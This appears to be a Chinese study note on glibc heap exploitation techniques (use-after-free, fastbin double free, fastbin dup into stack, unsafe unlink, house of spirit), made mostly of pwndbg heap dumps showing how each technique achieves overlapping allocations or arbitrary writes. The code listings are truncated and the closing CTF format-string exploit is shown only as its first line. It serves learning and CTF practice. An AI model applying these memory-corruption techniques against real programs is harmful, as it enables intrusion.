fast chunk 大小在32字节~128字节(0x20~0x80)的chunk称为“fast chunk”
small chunk 小于1024字节(0x400)
large chunk 大于等于1024字节(0x400)
unsorted bin 当释放较小或较大的chunk的时候,如果系统没有将它们添加到对应的bins中,系统就将这些chunk添加到unsorted bin中
First_Fit UAF
利用原理
在分配内存时,malloc 会先到 unsorted bin(或者fastbins) 中查找适合的被 free 的 chunk,如果没有,就会把 unsorted bin 中的所有 chunk 分别放入到所属的 bins 中,然后再去这些 bins 里去找合适的 chunk。可以看到第三次 malloc 的地址和第一次相同,即 malloc 找到了第一次 free 掉的 chunk,并把它重新分配。
利用代码
1 | #include <stdio.h> |
具体分析
malloc后,bin是空的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37pwndbg> x/10x 0x555555559290
0x555555559290: 0x00000000 0x00000000 0x00000521 0x00000000
0x5555555592a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x5555555592b0: 0x00000000 0x00000000
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555559000
Size: 0x291
Allocated chunk | PREV_INUSE
Addr: 0x555555559290
Size: 0x521
Allocated chunk | PREV_INUSE
Addr: 0x5555555597b0
Size: 0x261
Top chunk | PREV_INUSE
Addr: 0x555555559a10
Size: 0x205f1
pwndbg> bins
tcachebins
empty
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
emptyfree后chunk被放到了unsorted bin中,且chunk上放入了fd/bk,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41pwndbg> bins
tcachebins
empty
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x555555559290 —▸ 0x7ffff7fb1be0 (main_arena+96) ◂— 0x555555559290
smallbins
empty
largebins
empty
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555559000
Size: 0x291
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x555555559290
Size: 0x521
fd: 0x7ffff7fb1be0
bk: 0x7ffff7fb1be0
Allocated chunk
Addr: 0x5555555597b0
Size: 0x260
Top chunk | PREV_INUSE
Addr: 0x555555559a10
Size: 0x205f1
pwndbg> x/10gx 0x555555559290
0x555555559290: 0x0000000000000000 0x0000000000000521
0x5555555592a0: 0x00007ffff7fb1be0 0x00007ffff7fb1be0
0x5555555592b0: 0x0000000000000000 0x0000000000000000
0x5555555592c0: 0x0000000000000000 0x0000000000000000
0x5555555592d0: 0x0000000000000000 0x0000000000000000再次malloc后
1 | pwndbg> heap |
Fastbin_Dup.c DOUBLE-FREE
利用代码
1 | #include <stdio.h> |
具体分析
3次free后,出现double free
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15pwndbg> bins
fastbins
0x20: 0x55555555c000 —▸ 0x55555555c020 ◂— 0x55555555c000
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty3次malloc后,a和d指向同一个地址,如果d的值可控即等于往任意地址写数据
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30pwndbg>
bins
fastbins 0x20: 0x55555555c020 —▸ 0x55555555c000 ◂— 0x55555555c020 0x30: 0x0 0x40: 0x0 empty
largebins
empty
pwndbg> heap
Free chunk (fastbins) | PREV_INUSE
Addr: 0x55555555c000
Size: 0x21
fd: 0x55555555c020
Free chunk (fastbins) | PREV_INUSE
Addr: 0x55555555c020
Size: 0x21
fd: 0x55555555c000
Allocated chunk | PREV_INUSE
Addr: 0x55555555c040
Size: 0x21
Top chunk | PREV_INUSE
Addr: 0x55555555c060
Size: 0x20fa1
1st malloc(8): 0x55555555c010
2nd malloc(8): 0x55555555c030
3rd malloc(8): 0x55555555c010
malloc(8): 0x7fffffffe008
Fastbin_Dup_Into_Stack UAF利用
具体代码
1 | #include <stdio.h> |
具体分析
a被free两次以后
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28pwndbg> bins
fastbins
0x20: 0x55555555b000 —▸ 0x55555555b020 ◂— 0x55555555b000
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> x/10gx 0x55555555b020
0x55555555b020: 0x0000000000000000 0x0000000000000021
0x55555555b030: 0x000055555555b000 0x0000000000000000
0x55555555b040: 0x0000000000000000 0x0000000000000021
0x55555555b050: 0x0000000000000000 0x0000000000000000
0x55555555b060: 0x0000000000000000 0x0000000000020fa1
pwndbg> x/10gx 0x55555555b000
0x55555555b000: 0x0000000000000000 0x0000000000000021
0x55555555b010: 0x000055555555b020 0x0000000000000000
0x55555555b020: 0x0000000000000000 0x0000000000000021
0x55555555b030: 0x000055555555b000 0x0000000000000000
0x55555555b040: 0x0000000000000000 0x0000000000000021执行d = (unsigned long long) (((char)&stack_var) - sizeof(d));后因为d与a指向一个地址,因此可以篡改freechunk里面的fd
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28pwndbg> bins
fastbins
0x20: 0x55555555b000 —▸ 0x55555555b020 ◂— 0x55555555b000
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> x/10gx 0x55555555b000
0x55555555b000: 0x0000000000000000 0x0000000000000021
0x55555555b010: 0x00007fffffffdff8 0x0000000000000000
0x55555555b020: 0x0000000000000000 0x0000000000000021
0x55555555b030: 0x000055555555b000 0x0000000000000000
0x55555555b040: 0x0000000000000000 0x0000000000000021
pwndbg> x/10gx 0x55555555b020
0x55555555b020: 0x0000000000000000 0x0000000000000021
0x55555555b030: 0x000055555555b000 0x0000000000000000
0x55555555b040: 0x0000000000000000 0x0000000000000021
0x55555555b050: 0x0000000000000000 0x0000000000000000
0x55555555b060: 0x0000000000000000 0x0000000000020fa1
Fastbin_Dup_Consolidate
todo
为什么malloc之后,large chunk被分配到了small bin中?
利用代码
1 | #include <stdio.h> |
具体分析
p1被free两次以后
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x55555555b000 ◂— 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
emptymalloc(0x400)后,原来的fastbin被分配到了smallbin.因为0✖400属于large chunk 会调用malloc_consolidate()合并fastbins中的chunk,并将这些空闲的chunk加入unsorted bin中,之后unsorted bin中的chunk按照大小被放回small bins/large bins中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x50: 0x55555555b000 —▸ 0x7ffff7dd4bb8 (main_arena+152) ◂— 0x55555555b000
largebins
empty再次free p1 ,可以看到p1同时出现在fast bins和small bins中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x55555555b000 ◂— 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x50 [corrupted]
FD: 0x55555555b000 ◂— 0x0
BK: 0x55555555b000 —▸ 0x7ffff7dd4bb8 (main_arena+152) ◂— 0x55555555b000
largebins
empty
Now p1 is in unsorted bin and fast bin. So we'will get it twice: 0x55555555b010 0x55555555b010
Unsafe_Unlink
利用场景
最常见的利用场景是我们有一个可以溢出漏洞和一个全局指针。
利用代码
1 | #include <stdio.h> |
具体分析
设置chunk0_ptr[2]和chunk0_ptr[3]后的chunk(实际情况应该是利用漏洞来覆盖,这里直接通过指针来操作)
1
2
3
4
5
6
7
8
9
10
11
12pwndbg> x/30gx 0x55555555b000
0x55555555b000: 0x0000000000000000 0x0000000000000091
0x55555555b010: 0x0000000000000000 0x0000000000000000
0x55555555b020: 0x0000555555558018 0x0000555555558020
0x55555555b030: 0x0000000000000000 0x0000000000000000
0x55555555b040: 0x0000000000000000 0x0000000000000000
0x55555555b050: 0x0000000000000000 0x0000000000000000
0x55555555b060: 0x0000000000000000 0x0000000000000000
0x55555555b070: 0x0000000000000000 0x0000000000000000
0x55555555b080: 0x0000000000000000 0x0000000000000000
0x55555555b090: 0x0000000000000000 0x0000000000000091
0x55555555b0a0: 0x0000000000000000 0x0000000000000000chunk1_hdr[0] = malloc_size;chunk1_hdr[1] &= ~1;我们把chunk1_hdr伪造成空闲chunk,即把chunk of size的 inuse位设置成0,把size of previous chunk设置成80(90-10),程序会根据presize来寻找要合并的chunk的头部,这样在free时会让程序错误认为chunk0的开始位置为我们的伪造的chunk位置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18pwndbg> x/30gx 0x55555555b000
0x55555555b000: 0x0000000000000000 0x0000000000000091
0x55555555b010: 0x0000000000000000 0x0000000000000000
0x55555555b020: 0x0000555555558018 0x0000555555558020
0x55555555b030: 0x0000000000000000 0x0000000000000000
0x55555555b040: 0x0000000000000000 0x0000000000000000
0x55555555b050: 0x0000000000000000 0x0000000000000000
0x55555555b060: 0x0000000000000000 0x0000000000000000
0x55555555b070: 0x0000000000000000 0x0000000000000000
0x55555555b080: 0x0000000000000000 0x0000000000000000
0x55555555b090: 0x0000000000000080 0x0000000000000090
pwndbg> x/10x 0x0000555555558010
0x555555558010: 0x0000000000000000 0x0000000000000000
0x555555558020 <stderr@@GLIBC_2.2.5>: 0x00007ffff7dd5540 0x0000000000000000
0x555555558030 <chunk0_ptr>: 0x000055555555b010 0x00020000002c0030
0x555555558040: 0x0000000800000000 0x0000000011c90000
0x555555558050: 0x0000000004420000 0x0000000000000000free chunk1_ptr 时,因为在free一个非fastbin大小的chunk时,会对前后的chunk进行检测,如果前后的chunk存在被free的状态,则会进行合并。合并之前自然也需要用unlink将其从链表上取下来。因此chunk0被unlink,导致bk->fd =fd(bk=0x0000555555558020,bk->fd=bk+0x10=0x0000555555558030,fd=0x0000555555558018)所以0x0000555555558030被设置成了0x0000555555558018
1 | #define unlink(AV, P, BK, FD) { |
- chunk0_ptr[3] = (uint64_t) victim_string;fprintf(stderr, “Original value: %s\n”,victim_string);这时候chunk0_ptr为0x555555558018,chunk0_ptr[3]为0x555555558030,经过这步操作后全局变量chunk0_ptr里面的指针有被修改为0x00007fffffffe030
1 | pwndbg> p chunk0_ptr |
chunk0_ptr[0] = 0x4141414142424242LL;fprintf(stderr, “New Value: %s\n”,victim_string);
1
2pwndbg> x/10s 0x00007fffffffe030
0x7fffffffe030: "BBBBAAAA"libc2.26版本。则需要把tacahe填充满才行
House_of_Spirit
利用代码
1 | #include <stdio.h> |
qwb2020-Siri
format string
1 | from pwn import* |